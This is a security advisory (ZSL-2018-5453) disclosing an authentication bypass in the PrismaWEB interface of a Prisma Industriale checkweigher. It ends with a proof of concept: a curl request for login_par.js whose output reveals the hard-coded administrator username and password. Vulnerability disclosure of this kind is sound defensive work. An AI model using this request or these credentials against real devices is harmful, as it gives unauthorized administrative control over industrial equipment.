Prisma Industriale Checkweigher PrismaWEB 1.21 Authentication Bypass Vendor: Prisma Industriale S.r.l. Product web page: https://www.prismaindustriale.com Affected version: 1.0 (Rev 21, EPROM 202FWSAM ??) Summary: Web Administration of Machine. Desc: The vulnerability exists due to the disclosure of hard-coded credentials allowing an attacker to effectively bypass authentication of PrismaWEB with administrator privileges. The credentials can be disclosed by simply navigating to the login_par.js JavaScript page that holds the username and password for the management interface that are being used via the Login() function in /scripts/functions_cookie.js script. Tested on: HMS AnyBus-S WebServer Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2018-5453 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5453.php 06.02.2018 --- $ curl http://10.10.10.70/user/scripts/login_par.js // JavaScript Document // 11 Dicembre 2009 Release 1.0 Rev.10 var txtChkUser = "prismaweb"; // Nome utente Login var txtChkPassword = "prisma"; // Password Login